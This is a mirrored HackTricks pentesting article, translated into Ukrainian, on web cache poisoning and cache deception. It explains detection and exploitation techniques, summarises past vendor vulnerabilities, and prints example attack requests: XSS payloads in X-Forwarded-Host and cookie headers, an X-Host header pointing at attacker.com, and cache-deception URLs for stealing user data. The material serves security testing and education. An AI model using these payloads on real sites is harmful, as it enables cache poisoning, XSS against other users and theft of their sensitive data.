Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cache-deception.md
Carlos Polop e8ea1777f5 Translated to Ukranian
2024-03-29 19:49:46 +01:00

28 KiB
Raw Blame History

Кеш-отруєння та Кеш-обман

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:


Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш продвинутих інструментів спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Відмінність

Яка різниця між кеш-отруєнням веб-сторінок та кеш-обманом веб-сторінок?

  • У кеш-отруєнні, атакуючий змушує додаток зберігати деякий шкідливий вміст у кеші, і цей вміст подається з кешу іншим користувачам додатку.
  • У кеш-обмані, атакуючий змушує додаток зберігати деякий чутливий вміст, що належить іншому користувачеві, у кеші, а потім атакуючий отримує цей вміст з кешу.

Кеш-отруєння

Кеш-отруєння спрямоване на маніпулювання кешем клієнта для примусу клієнтів завантажувати ресурси, які є неочікуваними, частковими або під контролем атакуючого. Розмір впливу залежить від популярності пошкодженої сторінки, оскільки забруднена відповідь подається виключно користувачам, які відвідують сторінку під час періоду забруднення кешу.

Виконання атаки кеш-отруєння включає кілька кроків:

  1. Ідентифікація неіндексованих введень: Це параметри, які, хоча не є обов'язковими для кешування запиту, можуть змінити відповідь, яку повертає сервер. Виявлення цих введень є важливим, оскільки їх можна використовувати для маніпулювання кешем.
  2. Експлуатація неіндексованих введень: Після ідентифікації неіндексованих введень наступним кроком є виявлення способів зловживання цими параметрами для зміни відповіді сервера таким чином, що це користується атакуючому.
  3. Переконання, що забруднена відповідь зберігається в кеші: Останнім кроком є переконання, що змінена відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до пошкодженої сторінки під час забруднення кешу, отримає забруднену відповідь.

Виявлення: Перевірка HTTP-заголовків

Зазвичай, коли відповідь була збережена в кеші, буде заголовок, що вказує на це, ви можете перевірити, на які заголовки варто звернути увагу у цьому пості: HTTP-заголовки кешування.

Виявлення: Кешування коду 400

Якщо ви вважаєте, що відповідь зберігається в кеші, ви можете спробувати надсилати запити з поганим заголовком, на який повинна бути відповідь з кодом статусу 400. Потім спробуйте отримати доступ до запиту зазвичай, і якщо відповідь має код статусу 400, ви знаєте, що він є вразливим (і ви навіть можете виконати DoS).
Погано налаштованим заголовком може бути просто \: як заголовок.
Зауважте, що іноді ці види кодів статусу не кешуються, тому цей тест буде некорисним.

Виявлення: Визначення та оцінка неіндексованих введень

Ви можете використовувати Param Miner для брут-форсу параметрів та заголовків, які можуть змінювати відповідь сторінки. Наприклад, сторінка може використовувати заголовок X-Forwarded-For, щоб вказати клієнту завантажувати скрипт з цього місця:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Викликати шкідливу відповідь від сервера back-end

З параметром/заголовком, ідентифікованим, перевірте, як він санітарний та де він відображається або впливає на відповідь з заголовка. Чи можна цим скористатися (виконати XSS або завантажити JS-код, керований вами? виконати DoS?...)

Отримання кешованої відповіді

Після того, як ви ідентифікували сторінку, яку можна зловживати, який параметр/заголовок використовувати та як цим зловживати, вам потрібно отримати кешовану сторінку. Залежно від ресурсу, який ви намагаєтеся отримати в кеші, це може зайняти певний час, можливо, вам доведеться намагатися протягом кількох секунд.
Заголовок X-Cache у відповіді може бути дуже корисним, оскільки він може мати значення miss, коли запит не був закешований, та значення hit, коли він закешований.
Заголовок Cache-Control також цікавий, щоб знати, чи ресурс кешується та коли наступний раз ресурс буде закешовано знову: Cache-Control: public, max-age=1800
Ще один цікавий заголовок - Vary. Цей заголовок часто використовується для вказівки додаткових заголовків, які розглядаються як частина ключа кешу, навіть якщо вони зазвичай не мають ключа. Тому, якщо користувач знає User-Agent потерпілого, якого він націлює, він може забруднити кеш для користувачів, які використовують цей конкретний User-Agent.
Ще один заголовок, пов'язаний з кешем, - Age. Він визначає час у секундах, протягом якого об'єкт перебував у проксі-кеші.

При кешуванні запиту будьте обережні зі заголовками, які ви використовуєте, оскільки деякі з них можуть бути використані несподівано як ключові, і жертва повинна буде використовувати той самий заголовок. Завжди перевіряйте Отруєння Кешу з різними браузерами, щоб переконатися, що воно працює.

Приклади експлуатації

Найпростіший приклад

Заголовок, подібний до X-Forwarded-For, відображається у відповіді несанітарно.
Ви можете відправити базове XSS-навантаження та забруднити кеш, щоб кожен, хто отримує доступ до сторінки, отримував XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Зверніть увагу, що це отруїть запит на /en?region=uk, а не на /en

Використання отруєння кешу веб-сторінок для експлуатації вразливостей обробки куків

Куки також можуть відображатися у відповіді сторінки. Якщо ви можете зловживати цим, щоб викликати XSS, наприклад, ви зможете експлуатувати XSS у кількох клієнтів, які завантажують зловісну кеш-відповідь.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Зверніть увагу, що якщо вразливий куки використовується користувачами дуже часто, регулярні запити будуть очищати кеш.

Отруєння кешу з використанням траверсу шляху для крадіжки ключа API

У цій статті пояснюється, як було можливо вкрасти ключ API OpenAI за допомогою URL-адреси, подібної до https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123, оскільки все, що відповідає /share/*, буде кешуватися без нормалізації URL-адреси Cloudflare, що було зроблено, коли запит досяг веб-сервера.

Використання кількох заголовків для експлуатації вразливостей отруєння кешу веб-сайту

Іноді вам доведеться експлуатувати кілька неідентифікованих введень, щоб мати змогу зловживати кешем. Наприклад, ви можете знайти відкритий редірект, якщо ви встановите X-Forwarded-Host на домен, яким ви керуєте, і X-Forwarded-Scheme на http. Якщо сервер пересилає всі HTTP-запити на HTTPS та використовує заголовок X-Forwarded-Scheme як домен для перенаправлення. Ви можете контролювати, куди буде спрямована сторінка через перенаправлення.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Використання з обмеженим заголовком Vary

Якщо ви виявили, що заголовок X-Host використовується як ім'я домену для завантаження ресурсу JS, але заголовок Vary у відповіді вказує на User-Agent, то вам потрібно знайти спосіб витягти User-Agent жертви та забруднити кеш, використовуючи цей User-Agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Використання HTTP-кешування для отримання доступу до кешу шляхом зловживання HTTP Request Smuggling

Дізнайтеся тут, як виконати атаки на кешування шляхом зловживання HTTP Request Smuggling.

Автоматизоване тестування на вразливість кешування веб-сторінок

Сканер вразливостей веб-кешування може бути використаний для автоматичного тестування на вразливість кешування веб-сторінок. Він підтримує багато різних технік і має високу настроюваність.

Приклад використання: wcvs -u example.com


Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси за допомогою найбільш продвинутих інструментів спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Приклади вразливостей

Apache Traffic Server (CVE-2021-27577)

ATS передав фрагмент у URL без його видалення і створив ключ кешування, використовуючи лише хост, шлях та запит (ігноруючи фрагмент). Таким чином, запит /#/../?r=javascript:alert(1) був відправлений на бекенд як /#/../?r=javascript:alert(1), і ключ кешу не містив в собі навантаження, лише хост, шлях та запит.

GitHub CP-DoS

Відправлення некоректного значення у заголовку content-type спричинило кешовану відповідь 405. Ключ кешу містив куки, тому можливо було атакувати лише неавторизованих користувачів.

GitLab + GCP CP-DoS

GitLab використовує віджети GCP для зберігання статичного контенту. Віджети GCP підтримують заголовок x-http-method-override. Таким чином, було можливо відправити заголовок x-http-method-override: HEAD і забруднити кеш, щоб повертав порожнє тіло відповіді. Також це могло підтримувати метод PURGE.

Rack Middleware (Ruby on Rails)

У додатках Ruby on Rails часто використовується проміжний шар Rack. Мета коду Rack полягає в тому, щоб взяти значення заголовка x-forwarded-scheme і встановити його як схему запиту. Коли відправляється заголовок x-forwarded-scheme: http, відбувається перенаправлення 301 на ту саму локацію, що потенційно може призвести до відмови в обслуговуванні (DoS) для цього ресурсу. Крім того, додаток може враховувати заголовок X-forwarded-host і перенаправляти користувачів на вказаний хост. Ця поведінка може призвести до завантаження файлів JavaScript з сервера зловмисника, що створює ризик для безпеки.

403 та сховища

Раніше Cloudflare кешував відповіді 403. Спроба доступу до S3 або Azure Storage Blobs з некоректними заголовками авторизації призводила до отримання відповіді 403, яка кешувалася. Хоча Cloudflare припинив кешування відповідей 403, така поведінка може бути присутня в інших проксі-сервісах.

Впровадження ключових параметрів

Кеші часто включають конкретні GET-параметри у ключ кешування. Наприклад, Varnish Fastly кешував параметр size у запитах. Однак, якщо разом із правильним значенням відправлялося URL-кодоване значення параметра (наприклад, siz%65) з помилковим значенням, ключ кешування будувався за допомогою правильного параметра size. Проте бекенд обробляв значення у URL-кодованому параметрі. URL-кодування другого параметра size призводило до його відсутності у кеші, але його використання бекендом. Присвоєння значення 0 цьому параметру призводило до кешованої помилки 400 Bad Request.

Правила User Agent

Деякі розробники блокують запити з user-agent, що відповідають високотрафікуючим інструментам, таким як FFUF або Nuclei, для керування навантаженням сервера. Цей підхід може призвести до вразливостей, таких як кешування та DoS.

Недопустимі поля заголовків

RFC7230 визначає припустимі символи у назвах заголовків. Заголовки, що містять символи поза визначеним діапазоном tchar, в ідеалі повинні спричиняти відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Прикладом є Akamai, яка передає заголовки з недійсними символами та кешує будь-яку помилку 400, поки заголовок cache-control відсутній. Було виявлено вразливий шаблон, де відправка заголовка з недійсним символом, таким як \, призводила до кешованої помилки 400 Bad Request.

Пошук нових заголовків

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Кеш-обман

Мета кеш-обману полягає в тому, щоб клієнти завантажували ресурси, які будуть збережені кешем з їх чутливою інформацією.

Спочатку слід зауважити, що розширення такі як .css, .js, .png тощо зазвичай налаштовані на збереження в кеші. Тому, якщо ви звернетесь до www.example.com/profile.php/nonexistent.js, кеш, швидше за все, збереже відповідь, оскільки він бачить розширення .js. Але, якщо додаток повторюється з чутливим вмістом користувача, збереженим у www.example.com/profile.php, ви можете вкрасти цей вміст від інших користувачів.

Інші речі для тестування:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Використовуйте менш відомі розширення, такі як .avif

Інший дуже ясний приклад можна знайти в цьому описі: https://hackerone.com/reports/593712.
У цьому прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, наприклад http://www.example.com/home.php/non-existent.css, вміст http://www.example.com/home.php (з чутливою інформацією користувача) буде повернуто, і сервер кешування збереже результат.
Потім зловмисник може отримати доступ до http://www.example.com/home.php/non-existent.css у своєму власному браузері та спостерігати конфіденційну інформацію користувачів, які зверталися раніше.

Зверніть увагу, що проксі-сервер кешування повинен бути налаштований на кешування файлів на основі розширення файлу (.css) і не на основі типу вмісту. У прикладі http://www.example.com/home.php/non-existent.css буде мати тип вмісту text/html замість mime-типу text/css (який очікується для .css файлу).

Дізнайтеся тут, як виконати атаки кеш-обману, зловживаючи HTTP Request Smuggling.

Автоматичні інструменти

  • toxicache: Сканер на Golang для пошуку вразливостей на кешування веб-сторінок у списку URL-адрес та тестування різних технік впровадження.

Посилання


Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси за допомогою найбільш продвинутих інструментів спільноти у світі.
Отримайте доступ сьогодні: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks: